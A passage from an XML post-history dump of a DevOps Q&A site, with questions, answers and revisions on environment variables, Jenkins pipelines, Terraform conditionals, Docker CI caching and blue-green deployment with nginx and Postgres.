use.&#xD;&#xA;&#xD;&#xA;Any feedback welcome. Thank you!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34267" PostHistoryTypeId="1" PostId="11195" RevisionGUID="8585c267-d117-48aa-b3c9-384479202828" CreationDate="2020-03-30T19:15:32.353" UserId="21438" Text="What approach should I take to store environment variables for a repo?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34268" PostHistoryTypeId="3" PostId="11195" RevisionGUID="8585c267-d117-48aa-b3c9-384479202828" CreationDate="2020-03-30T19:15:32.353" UserId="21438" Text="&lt;git&gt;&lt;infrastructure-as-code&gt;&lt;environments&gt;&lt;environment-variables&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34269" PostHistoryTypeId="2" PostId="11196" RevisionGUID="793e6156-9262-4091-9b1b-7de99719ba61" CreationDate="2020-03-30T22:39:43.003" UserId="20376" Text="I want to see the value of default_statistics_target on postgresql before running &#xD;&#xA;SET default_statistics_target=1000&#xD;&#xA;&#xD;&#xA;Its most likely the default (100) but would like to see it. Where it can  be found ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34270" PostHistoryTypeId="1" PostId="11196" RevisionGUID="793e6156-9262-4091-9b1b-7de99719ba61" CreationDate="2020-03-30T22:39:43.003" UserId="20376" Text="get value of default_statistics_target on postrgesql" ContentLicense="CC BY-SA 4.0" />
  <row Id="34271" PostHistoryTypeId="3" PostId="11196" RevisionGUID="793e6156-9262-4091-9b1b-7de99719ba61" CreationDate="2020-03-30T22:39:43.003" UserId="20376" Text="&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34272" PostHistoryTypeId="2" PostId="11197" RevisionGUID="58ca39aa-df30-4991-a9e5-f9d9e8bcdeac" CreationDate="2020-03-31T01:59:51.440" UserId="16059" Text="## General Notes&#xD;&#xA;&#xD;&#xA;I don't really understand this one:&#xD;&#xA;&#xD;&#xA;&gt; However, this seems clunky, as I have to create the logic to read this&#xD;&#xA;&gt; file in  every script that is made.&#xD;&#xA;&#xD;&#xA;You can source all variables from a bash file in one line (source &lt;filename&gt;).  If they are &quot;exported&quot;, you can pick them up in applications in any language you like (Java, python, or whatever), and most have built in syntax for doing it (like spring boot's SPEL syntax which lets you define your config to directly populate from environment variables automatically on star-up).&#xD;&#xA;&#xD;&#xA;You can also make this export part of your ~/.bashrc file or whatever so it's auto sourced in your shell contexts, etc.&#xD;&#xA;&#xD;&#xA;## Repositories + CI/CD&#xD;&#xA;&#xD;&#xA;This may depend on your repository and CI implementation more than the installed code.  For example, GitLab CI and GitHub Actions both support environment variables, as does Jenkins, etc.&#xD;&#xA;&#xD;&#xA;In GitLab you can even go to your group level (above a bunch of related projects), and set per-environment environment variables there which are pushed into your deployment so you can use them in your installed code.  Then, you don't even need to store them in any extra files.&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA; - https://docs.gitlab.com/ee/ci/variables/&#xD;&#xA; - https://help.github.com/en/actions/configuring-and-managing-workflows/using-environment-variables&#xD;&#xA;&#xD;&#xA;## Docker&#xD;&#xA;&#xD;&#xA;Whatever your code is, you can probably bundle it into docker and pass the variables to the container at run time." ContentLicense="CC BY-SA 4.0" />
  <row Id="34273" PostHistoryTypeId="2" PostId="11198" RevisionGUID="addc48fb-e40f-476a-9828-d3ad0fbd6f02" CreationDate="2020-03-31T03:17:22.300" UserId="6579" Text="Based on your title, no.&#xD;&#xA;&#xD;&#xA;1. It's impossible to quantify if every application has this capability. Many do.&#xD;&#xA;2. Users/Groups in Jenkins OSS map back to LDAP but you control the permissions via Jenkins.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;As you can see above Users/Groups have specific permissions that are specified/controlled in Jenkins. If this group exists in LDAP (xxx) the users in this group get the permission you setup in Jenkins. This makes it easier then managing individuals.  &#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/gvdRw.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="34274" PostHistoryTypeId="2" PostId="11199" RevisionGUID="aea774b3-842a-48b3-b37a-01c572dc08f0" CreationDate="2020-03-31T06:02:06.473" UserId="19681" Text="I am trying to access a url example.com/service/test1 but it redircts me to example.com/login.&#xD;&#xA;&#xD;&#xA;Below is my YAMl file:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  name: test-ing&#xD;&#xA;  namespace: test&#xD;&#xA;  annotations:&#xD;&#xA;     nginx.ingress.kubernetes.io/ssl-redirect: &quot;false&quot;&#xD;&#xA;	 nginx-ingress.kubernetes.io/use-regex: true&#xD;&#xA;	 &#xD;&#xA;spec:&#xD;&#xA;  rules:&#xD;&#xA;  - host: example.com&#xD;&#xA;    http:&#xD;&#xA;      paths:&#xD;&#xA;      - backend:&#xD;&#xA;          serviceName: svc-test&#xD;&#xA;          servicePort: 8080&#xD;&#xA;        path: /service/test&#xD;&#xA;  tls:&#xD;&#xA;  - secretName: tls-secret&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34275" PostHistoryTypeId="1" PostId="11199" RevisionGUID="aea774b3-842a-48b3-b37a-01c572dc08f0" CreationDate="2020-03-31T06:02:06.473" UserId="19681" Text="Nginx ingress controller redirects the url to /login" ContentLicense="CC BY-SA 4.0" />
  <row Id="34276" PostHistoryTypeId="3" PostId="11199" RevisionGUID="aea774b3-842a-48b3-b37a-01c572dc08f0" CreationDate="2020-03-31T06:02:06.473" UserId="19681" Text="&lt;nginx&gt;&lt;ingress&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34277" PostHistoryTypeId="5" PostId="11197" RevisionGUID="44f8f9a5-27fc-4b42-89d8-8aa153e191bb" CreationDate="2020-03-31T12:19:55.277" UserId="16059" Comment="added 2 characters in body" Text="## General Notes&#xD;&#xA;&#xD;&#xA;I don't really understand this one:&#xD;&#xA;&#xD;&#xA;&gt; However, this seems clunky, as I have to create the logic to read this&#xD;&#xA;&gt; file in  every script that is made.&#xD;&#xA;&#xD;&#xA;You can source all variables from a bash file in one line (source file-name.sh).  If they are &quot;exported&quot;, you can pick them up in applications in any language you like (Java, python, or whatever), and most have built in syntax for doing it (like spring boot's SPEL syntax which lets you define your config to directly populate from environment variables automatically on star-up).&#xD;&#xA;&#xD;&#xA;You can also make this export part of your ~/.bashrc file or whatever so it's auto sourced in your shell contexts, etc.&#xD;&#xA;&#xD;&#xA;## Repositories + CI/CD&#xD;&#xA;&#xD;&#xA;This may depend on your repository and CI implementation more than the installed code.  For example, GitLab CI and GitHub Actions both support environment variables, as does Jenkins, etc.&#xD;&#xA;&#xD;&#xA;In GitLab you can even go to your group level (above a bunch of related projects), and set per-environment environment variables there which are pushed into your deployment so you can use them in your installed code.  Then, you don't even need to store them in any extra files.&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA; - https://docs.gitlab.com/ee/ci/variables/&#xD;&#xA; - https://help.github.com/en/actions/configuring-and-managing-workflows/using-environment-variables&#xD;&#xA;&#xD;&#xA;## Docker&#xD;&#xA;&#xD;&#xA;Whatever your code is, you can probably bundle it into docker and pass the variables to the container at run time." ContentLicense="CC BY-SA 4.0" />
  <row Id="34278" PostHistoryTypeId="2" PostId="11200" RevisionGUID="f977193c-c7f6-4b63-8fb7-9f6c4180d02f" CreationDate="2020-03-31T12:31:37.613" UserId="11125" Text="Jenkins declarative pipelines offer very convenient **when** directive with conditions like **changeset**.&#xD;&#xA;&#xD;&#xA;Is is possible the this changeset and other when conditions in a scripted pipeline?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34279" PostHistoryTypeId="1" PostId="11200" RevisionGUID="f977193c-c7f6-4b63-8fb7-9f6c4180d02f" CreationDate="2020-03-31T12:31:37.613" UserId="11125" Text="Using Jenkins declarative when conditions in scripted pipelines" ContentLicense="CC BY-SA 4.0" />
  <row Id="34280" PostHistoryTypeId="3" PostId="11200" RevisionGUID="f977193c-c7f6-4b63-8fb7-9f6c4180d02f" CreationDate="2020-03-31T12:31:37.613" UserId="11125" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34281" PostHistoryTypeId="2" PostId="11201" RevisionGUID="942c22dd-33bb-4490-8fbf-bcd2be383ebc" CreationDate="2020-03-31T13:52:11.150" UserId="354" Text="It would seem not - in the scripted pipeline, groovy needs to be used - see [the docs](https://jenkins.io/doc/book/pipeline/syntax/#flow-control)&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;node {&#xD;&#xA;    stage('Example') {&#xD;&#xA;        if (env.BRANCH_NAME == 'master') {&#xD;&#xA;            echo 'I only execute on the master branch'&#xD;&#xA;        } else {&#xD;&#xA;            echo 'I execute elsewhere'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(taken straight from the docs)&#xD;&#xA;&#xD;&#xA;This would be the same as `when { branch 'master' }`" ContentLicense="CC BY-SA 4.0" />
  <row Id="34282" PostHistoryTypeId="2" PostId="11202" RevisionGUID="00d0fab0-730f-4dd0-b8c8-e5947395357a" CreationDate="2020-03-31T13:58:56.270" UserId="21451" Text="We have TFS building Docker images, and loading them into a Private Registry on one network, our Development Network. Everything works well, and we are generally happy with the CI process in that environment. We have an Air-gapped Integration Network that we need to export these Docker images to, and then have something that finds them, puts them into a registry there, and then restarts a Docker swarm.&#xD;&#xA;&#xD;&#xA;I am looking for a solution that can:&#xD;&#xA;&#xD;&#xA; 1. Watch a folder for new files&#xD;&#xA; 2. When a new Docker Tar file is found, load it into Docker Registry. &#xD;&#xA; 3. Move the Docker image that was loaded to an &quot;archive&quot; folder&#xD;&#xA; 4. Restart Docker swarm to use new images in the Registry&#xD;&#xA;&#xD;&#xA;It seems like step 2 might not be possible directly, I might need to load it into a local Docker instance, tag it, and then push it, but if so, that's fine.&#xD;&#xA;&#xD;&#xA;Is this something I should Jenkins for? I could just write a script in Bash or Python, but I would like to use a proper CI tool, if I can." ContentLicense="CC BY-SA 4.0" />
  <row Id="34283" PostHistoryTypeId="1" PostId="11202" RevisionGUID="00d0fab0-730f-4dd0-b8c8-e5947395357a" CreationDate="2020-03-31T13:58:56.270" UserId="21451" Text="On Premise CI / CD recommendations for Docker images" ContentLicense="CC BY-SA 4.0" />
  <row Id="34284" PostHistoryTypeId="3" PostId="11202" RevisionGUID="00d0fab0-730f-4dd0-b8c8-e5947395357a" CreationDate="2020-03-31T13:58:56.270" UserId="21451" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34285" PostHistoryTypeId="2" PostId="11203" RevisionGUID="c87b70d4-2292-4e4d-bffd-2948c17ff370" CreationDate="2020-03-31T18:18:13.957" UserId="16059" Text="## Jenkins Option&#xD;&#xA;&#xD;&#xA;If you're comfortable with Jenkins and want to use a CI tool, it is a decent option.&#xD;&#xA;&#xD;&#xA;It has multiple plugins for watching for files arriving in a file system, and at the end of the day, you can even just wrap your bash scripts into it so you have a central GUI and recorded logs.  So, you're not limited in any way by it.&#xD;&#xA;&#xD;&#xA;## Inotify Option&#xD;&#xA;&#xD;&#xA;I personally might just have a CI tool like Jenkins or GitLab-CI **deploy** a bash script though.  Then you could use **inotify** to properly watch a folder and execute your script exactly when things arrive.  See: https://www.howtogeek.com/405468/how-to-perform-a-task-when-a-new-file-is-added-to-a-directory-in-linux/ for an example.&#xD;&#xA;&#xD;&#xA;## Why iNotify?&#xD;&#xA;&#xD;&#xA;In many tools, I believe you generally have to &quot;poll&quot;, which means run over and over just to see if you have anything to do. Inotify lets you genuinely &quot;watch&quot; and be pushed events only when things happen.  This is cleaner and more efficient as you won't have hundreds or thousands of tasks running a day that literally do nothing.&#xD;&#xA;&#xD;&#xA;## Monitoring&#xD;&#xA;&#xD;&#xA;Note: One plus side to the pure Jenkins approachis built in monitoring.  Every  job run that fails can easily be you can pull this off with the iNotify script as well, but  if you don't have the right tooling for monitoring/etc in your environment, you may also favor the Jenkins approach." ContentLicense="CC BY-SA 4.0" />
  <row Id="34286" PostHistoryTypeId="2" PostId="11204" RevisionGUID="9cdab3ba-8cb2-436b-bd17-bf8037b5b2d5" CreationDate="2020-03-31T19:50:46.890" UserId="3841" Text="Basically, what I'd like to do is create a module that does this pseudocode:&#xD;&#xA;&#xD;&#xA;    if &lt;boolean&gt; then&#xD;&#xA;      resource &quot;&lt;resource type&gt;&quot; &quot;name&quot; {&#xD;&#xA;        # ... set variables ...&#xD;&#xA;      } else {&#xD;&#xA;      data &quot;&lt;data source&gt;&quot; &quot;name&quot; {&#xD;&#xA;        # grab data&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;    output &quot;resource_type.name&quot; {&#xD;&#xA;      if &lt;boolean&gt; then&#xD;&#xA;        value = resource_type.name&#xD;&#xA;      else&#xD;&#xA;        value = data_source.name&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I hope I'm being clear. Happy to add more info to clarify what I'm hoping is possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="34287" PostHistoryTypeId="1" PostId="11204" RevisionGUID="9cdab3ba-8cb2-436b-bd17-bf8037b5b2d5" CreationDate="2020-03-31T19:50:46.890" UserId="3841" Text="Is it possible to create a module that either creates a resource or sources a data source, based on a boolean value?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34288" PostHistoryTypeId="3" PostId="11204" RevisionGUID="9cdab3ba-8cb2-436b-bd17-bf8037b5b2d5" CreationDate="2020-03-31T19:50:46.890" UserId="3841" Text="&lt;terraform&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34289" PostHistoryTypeId="5" PostId="11197" RevisionGUID="d51750e2-26e7-4a81-90b3-317610522389" CreationDate="2020-03-31T20:11:48.183" UserId="16059" Comment="added 1 character in body" Text="## General Notes&#xD;&#xA;&#xD;&#xA;I don't really understand this one:&#xD;&#xA;&#xD;&#xA;&gt; However, this seems clunky, as I have to create the logic to read this&#xD;&#xA;&gt; file in  every script that is made.&#xD;&#xA;&#xD;&#xA;You can source all variables from a bash file in one line (source file-name.sh).  If they are &quot;exported&quot;, you can pick them up in applications in any language you like (Java, python, or whatever), and most have built in syntax for doing it (like spring boot's SPEL syntax which lets you define your config to directly populate from environment variables automatically on start-up).&#xD;&#xA;&#xD;&#xA;You can also make this export part of your ~/.bashrc file or whatever so it's auto sourced in your shell contexts, etc.&#xD;&#xA;&#xD;&#xA;## Repositories + CI/CD&#xD;&#xA;&#xD;&#xA;This may depend on your repository and CI implementation more than the installed code.  For example, GitLab CI and GitHub Actions both support environment variables, as does Jenkins, etc.&#xD;&#xA;&#xD;&#xA;In GitLab you can even go to your group level (above a bunch of related projects), and set per-environment environment variables there which are pushed into your deployment so you can use them in your installed code.  Then, you don't even need to store them in any extra files.&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA; - https://docs.gitlab.com/ee/ci/variables/&#xD;&#xA; - https://help.github.com/en/actions/configuring-and-managing-workflows/using-environment-variables&#xD;&#xA;&#xD;&#xA;## Docker&#xD;&#xA;&#xD;&#xA;Whatever your code is, you can probably bundle it into docker and pass the variables to the container at run time." ContentLicense="CC BY-SA 4.0" />
  <row Id="34290" PostHistoryTypeId="5" PostId="11203" RevisionGUID="ec516f10-bd2a-4445-8e43-b745e1178a0a" CreationDate="2020-03-31T21:31:08.030" UserId="16059" Comment="added 11 characters in body" Text="## Jenkins Option&#xD;&#xA;&#xD;&#xA;If you're comfortable with Jenkins and want to use a CI tool, it is a decent option.&#xD;&#xA;&#xD;&#xA;It has multiple plugins for watching for files arriving in a file system, and at the end of the day, you can even just wrap your bash scripts into it so you have a central GUI and recorded logs.  So, you're not limited in any way by it.&#xD;&#xA;&#xD;&#xA;## Inotify Option&#xD;&#xA;&#xD;&#xA;I personally might just have a CI tool like Jenkins or GitLab-CI **deploy** a bash script though.  Then you could use **inotify** to properly watch a folder and execute your script exactly when things arrive.  See: https://www.howtogeek.com/405468/how-to-perform-a-task-when-a-new-file-is-added-to-a-directory-in-linux/ for an example.&#xD;&#xA;&#xD;&#xA;## Why iNotify?&#xD;&#xA;&#xD;&#xA;In many tools, I believe you generally have to &quot;poll&quot;, which means run over and over just to see if you have anything to do. Inotify lets you genuinely &quot;watch&quot; and be pushed events only when things happen.  This is cleaner and more efficient as you won't have hundreds or thousands of tasks running a day that literally do nothing.&#xD;&#xA;&#xD;&#xA;## Monitoring&#xD;&#xA;&#xD;&#xA;Note: One plus side to the pure Jenkins approachis built in monitoring.  Every  job run that fails can easily email/alert you.   You can pull this off with the iNotify script as well, but  if you don't have the right tooling for monitoring/etc in your environment, you may favor the Jenkins approach." ContentLicense="CC BY-SA 4.0" />
  <row Id="34291" PostHistoryTypeId="2" PostId="11205" RevisionGUID="4ae5da1b-326c-4deb-ad04-fde7ef384b0e" CreationDate="2020-03-31T23:43:00.580" UserId="16059" Text="You can use the count meta-parameter to achieve the effects of an if-else statement.  It is talked about in detail in the link below and I also pulled one relevant example out.&#xD;&#xA;&#xD;&#xA;I'm not 100% sure if you can give both the data source and resource the same name without a conflict; but I assume it would work.  It may be dependent on the resource you're creating though, not sure.&#xD;&#xA;&#xD;&#xA;https://blog.gruntwork.io/terraform-tips-tricks-loops-if-statements-and-gotchas-f739bbae55f9&#xD;&#xA;&#xD;&#xA;## Excerpt:&#xD;&#xA;&#xD;&#xA;    # This is just pseudo code. It won't actually work in Terraform.&#xD;&#xA;    if var.give_neo_cloudwatch_full_access {&#xD;&#xA;      resource &quot;aws_iam_user_policy_attachment&quot; &quot;neo_cloudwatch_full&quot; {&#xD;&#xA;        user       = aws_iam_user.example[0].name&#xD;&#xA;        policy_arn = aws_iam_policy.cloudwatch_full_access.arn&#xD;&#xA;      }&#xD;&#xA;    } else {&#xD;&#xA;      resource &quot;aws_iam_user_policy_attachment&quot; &quot;neo_cloudwatch_read&quot; {&#xD;&#xA;        user       = aws_iam_user.example[0].name&#xD;&#xA;        policy_arn = aws_iam_policy.cloudwatch_read_only.arn&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;To do this in Terraform, you can use the count parameter and a conditional expression on each of the resources:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_iam_user_policy_attachment&quot; &quot;neo_cloudwatch_full&quot; {&#xD;&#xA;      count = var.give_neo_cloudwatch_full_access ? 1 : 0&#xD;&#xA;      user       = aws_iam_user.example[0].name&#xD;&#xA;      policy_arn = aws_iam_policy.cloudwatch_full_access.arn&#xD;&#xA;    }&#xD;&#xA;    resource &quot;aws_iam_user_policy_attachment&quot; &quot;neo_cloudwatch_read&quot; {&#xD;&#xA;      count = var.give_neo_cloudwatch_full_access ? 0 : 1&#xD;&#xA;      user       = aws_iam_user.example[0].name&#xD;&#xA;      policy_arn = aws_iam_policy.cloudwatch_read_only.arn&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34295" PostHistoryTypeId="5" PostId="11194" RevisionGUID="73d4c61a-afa2-4e90-a240-b89da12e87c3" CreationDate="2020-04-01T08:23:55.503" UserId="3125" Comment="Fixing grammar" Text="Start by reading this: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html&#xD;&#xA;&#xD;&#xA;Those are best-practices and do not take into account business policies.&#xD;&#xA;&#xD;&#xA;I don't think having one account per region is more secure than having policies scoped by regions. In cli, you will have to specify the region in the command anyway (not sure if AWS cli uses a default region if you don't specify one in your credentials file)." ContentLicense="CC BY-SA 4.0" />
  <row Id="34296" PostHistoryTypeId="5" PostId="11175" RevisionGUID="a2083951-6371-4cb9-9c23-f2b95939f41d" CreationDate="2020-04-01T08:43:51.933" UserId="9024" Comment="deleted 7 characters in body" Text="I use GitLab's pipelines to describe the deployment process. And, as part of it, I build Docker images. For that purpose, I use Docker-in-Docker to build those images (i.e. download the `Docker-in-Docker` image and do all the Docker-stuff, inside of it).&#xD;&#xA;&#xD;&#xA;I also set to use Docker Buildkit features. And one of them is `--cache-from` option (which decreases build time). Which seems doesn't work with `Docker-in-Docker` (at least, for me).&#xD;&#xA;&#xD;&#xA;Here's the pipeline's config:&#xD;&#xA;```&#xD;&#xA;stages:&#xD;&#xA;  - build&#xD;&#xA;  - purge&#xD;&#xA;  - deploy&#xD;&#xA;&#xD;&#xA;variables:&#xD;&#xA;  DOCKER_HOST: tcp://localhost:2375&#xD;&#xA;  DOCKER_TLS_CERTDIR: &quot;&quot;&#xD;&#xA;  DOCKER_BUILDKIT: 1&#xD;&#xA;  LATEST: ${CI_REGISTRY_IMAGE}/${CI_PROJECT_NAME}:${CI_COMMIT_REF_SLUG}&#xD;&#xA;  IMAGE_COMMIT_TAG: ${CI_REGISTRY_IMAGE}/${CI_PROJECT_NAME}:${CI_COMMIT_SHORT_SHA}&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  - docker:dind&#xD;&#xA;&#xD;&#xA;build:&#xD;&#xA;    stage: build&#xD;&#xA;    image: docker:stable&#xD;&#xA;    script:&#xD;&#xA;        - docker login -u gitlab-ci-token -p ${CI_BUILD_TOKEN} ${CI_REGISTRY}&#xD;&#xA;        - docker build --cache-from ${LATEST} -t ${LATEST} -t ${IMAGE_COMMIT_TAG} .&#xD;&#xA;        - docker push ${IMAGE_COMMIT_TAG}&#xD;&#xA;        - docker push ${LATEST}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The log output shows the `BuildKit` is engaged, but there's nothing about using of 'CACHE'. And, the result of it -- 'build' stage takes much more time.&#xD;&#xA;&#xD;&#xA;Please, your suggestions, ideas?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34297" PostHistoryTypeId="2" PostId="11207" RevisionGUID="94d10f4b-6563-4d92-bf5c-b2ed2fd900f1" CreationDate="2020-04-01T10:58:09.840" UserId="20042" Text="As per Martin Flowers' [definition](https://martinfowler.com/bliki/BlueGreenDeployment.html) of Blue-Green deployment&#xD;&#xA;&#xD;&#xA;&gt; The blue-green deployment approach does this by ensuring you have two production environments, as identical as possible. At any time one of them, let's say blue for the example, is live. As you prepare a new release of your software you do your final stage of testing in the green environment. Once the software is working in the green environment, you switch the router so that all incoming requests go to the green environment - the blue one is now idle.&#xD;&#xA;&#xD;&#xA;# Steps&#xD;&#xA;&#xD;&#xA;You've said that DBs are synced using `master-slave` topology.&#xD;&#xA;So, to switch traffic from one instance to another, we have to make 3 steps:&#xD;&#xA;&#xD;&#xA;* Switch web-traffic from `APP v1` `APP v2`&#xD;&#xA;* Shutdown deprecated `DB Blue`&#xD;&#xA;* Switch `DB Green` to `master` mode&#xD;&#xA;* Start new `DB Blue v2` in `slave` mode&#xD;&#xA;(you may ask - why shutdown `DB Blue` instead of using `master-master` replication or other ways to sync `DB Blue v1` with `DB Green` in `master` mode. See explanation in `DB replication`)&#xD;&#xA;&#xD;&#xA;## Graceful switch web-traffic&#xD;&#xA;&#xD;&#xA;To switch web-traffic from `APP v1` `APP v2` - just use `nginx reload` - it will graceful end all working connection and move traffic from `App v1` to `App v2`&#xD;&#xA;There are many scripting solutions for switch `blue/green` using shell/python scripts&#xD;&#xA;&#xD;&#xA;E.g.:&#xD;&#xA;&#xD;&#xA;* [meappy/docker-nginx-blue-green](https://github.com/meappy/docker-nginx-blue-green): Docker blue green upstreams for nginx with ngx\_http\_perl_module&#xD;&#xA;&#xD;&#xA;* [Simple 0-Downtime Blue Green Deployments](https://dan.bravender.net/2014/8/24/Simple_0-Downtime_Blue_Green_Deployments.html): Python simple 0-Downtime Blue Green Deployments example&#xD;&#xA;&#xD;&#xA;## Stop `DB Blue`&#xD;&#xA;&#xD;&#xA;`systemctl stop postgresql`&#xD;&#xA;&#xD;&#xA;## Promote `DB Green`&#xD;&#xA;&#xD;&#xA;Trigger the promotion using your defined trigger in `recovery.conf`&#xD;&#xA;`touch /tmp/pg_failover_trigger`&#xD;&#xA;&#xD;&#xA;# DB replication&#xD;&#xA;&#xD;&#xA;# P.s some definitions. &#xD;&#xA;&#xD;&#xA;Just to...&#xD;&#xA;&gt; ... sort the buyers from the spyers, the needy from the greedy...&#xD;&#xA;&#xD;&#xA;And `blue/green deployment` vs `canary deployment` vs `A/B test`&#xD;&#xA;&#xD;&#xA;# Definitions, kinds of deployments and tests&#xD;&#xA;(see details in [these answers](https://stackoverflow.com/questions/23746038/canary-release-strategy-vs-blue-green) )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* **Blue-Green Deployment** - When deploying a new version of an application, a second environment is created. Once the new environment is tested, it takes over from the old version. The old environment can then be turned off.&#xD;&#xA;    &#xD;&#xA;* **A/B Testing** - Two versions of an application are running at the same time. A portion of requests go to each. Developers can then compare the versions.  &#xD;&#xA;&#xD;&#xA;* **Canary Release** - A new version of a microservice is started along with the old versions. That new version can then take a portion of the requests and the team can test how this new version interacts with the overall system.&#xD;&#xA;&#xD;&#xA;* **Feature flagging** - The action of &quot;configuring&quot; (cold, or even hot) which functionality is (not)available for which (group) of users. If you also do something like &quot;feature flagging&quot; you can deploy first, measure soundness of your release in backwards compatibility/bug perspective, and release new functionality gradually to different users, or vice versa (scale down or even rollback functionality and/or binaries). Feature flagging allows for splitting availability of functionality from deployment of binaries, and gives much more fine-grained decision making then only &quot;deploy/rollback&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# P.P.S `Blue/Green` vs `Canary`&#xD;&#xA;&#xD;&#xA;[source](https://stackoverflow.com/a/47397219/5720818)&#xD;&#xA;&#xD;&#xA;Blue/Green: [![enter image description here](https://i.stack.imgur.com/RtQRg.png)](https://i.stack.imgur.com/RtQRg.png)&#xD;&#xA;&#xD;&#xA;Canary: [![enter image description here](https://i.stack.imgur.com/bA9Xi.png)](https://i.stack.imgur.com/bA9Xi.png)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34299" PostHistoryTypeId="5" PostId="11207" RevisionGUID="38df9480-ea8e-4bb9-910b-a11e4e661362" CreationDate="2020-04-01T13:32:05.727" UserId="20042" Comment="added 1835 characters in body" Text="As per Martin Flowers' [definition](https://martinfowler.com/bliki/BlueGreenDeployment.html) of Blue-Green deployment&#xD;&#xA;&#xD;&#xA;&gt; The blue-green deployment approach does this by ensuring you have two production environments, as identical as possible. At any time one of them, let's say blue for the example, is live. As you prepare a new release of your software you do your final stage of testing in the green environment. Once the software is working in the green environment, you switch the router so that all incoming requests go to the green environment - the blue one is now idle.&#xD;&#xA;&#xD;&#xA;# Steps&#xD;&#xA;&#xD;&#xA;You've said that DBs are synced using `master-slave` topology.&#xD;&#xA;So, to switch traffic from one instance to another, we have to make  steps:&#xD;&#xA;&#xD;&#xA;* Switch web-traffic from `APP v1` to `APP v2`&#xD;&#xA;* Shutdown deprecated `DB Blue`&#xD;&#xA;* Promote `DB Green` to `master` mode&#xD;&#xA;* Start new `DB Blue v2` in `slave` mode&#xD;&#xA;(you may ask - why shutdown `DB Blue` instead of using `master-master` replication or other ways to sync `DB Blue v1` with `DB Green` in `master` mode. See explanation in `DB replication`)&#xD;&#xA;&#xD;&#xA;## Graceful switch web-traffic&#xD;&#xA;&#xD;&#xA;To switch web-traffic from `APP v1` `APP v2` - just use `nginx reload` - it will graceful end all working connection and move traffic from `App v1` to `App v2`&#xD;&#xA;There are many scripting solutions for switch `blue/green` using shell/python scripts&#xD;&#xA;&#xD;&#xA;E.g.:&#xD;&#xA;&#xD;&#xA;* [meappy/docker-nginx-blue-green](https://github.com/meappy/docker-nginx-blue-green): Docker blue green upstreams for nginx with ngx\_http\_perl_module&#xD;&#xA;&#xD;&#xA;* [Simple 0-Downtime Blue Green Deployments](https://dan.bravender.net/2014/8/24/Simple_0-Downtime_Blue_Green_Deployments.html): Python simple 0-Downtime Blue Green Deployments example&#xD;&#xA;&#xD;&#xA;The logic is simple: add `green` upstream in `nginx` config, use it as default and send `reload` to `nginx`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Sample `nginx.conf` for `reverse proxy`/`load balancer`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;http {&#xD;&#xA;&#xD;&#xA;upstream appv1 {&#xD;&#xA;    zone appv1 64K;&#xD;&#xA;    server 10.10.0.1:80;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;upstream appv2 {&#xD;&#xA;    zone appv2 64K;&#xD;&#xA;    server 10.10.0.3:80;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;...&#xD;&#xA;location / {&#xD;&#xA;    proxy_pass http://$appv1;&#xD;&#xA;}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Replace `proxy_pass http://$appv1;` with `proxy_pass http://$appvv;`&#xD;&#xA;&#xD;&#xA;And then&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;nginx -s reload&#xD;&#xA;``` &#xD;&#xA;## Stop `DB Blue`&#xD;&#xA;&#xD;&#xA;`systemctl stop postgresql`&#xD;&#xA;&#xD;&#xA;## Promote `DB Green` to `master` mode&#xD;&#xA;&#xD;&#xA;* Trigger the promotion using your defined trigger in `$PGDATA/recovery.conf`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;touch $PGDATA/failover&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* Remove `failover` trigger from `Green 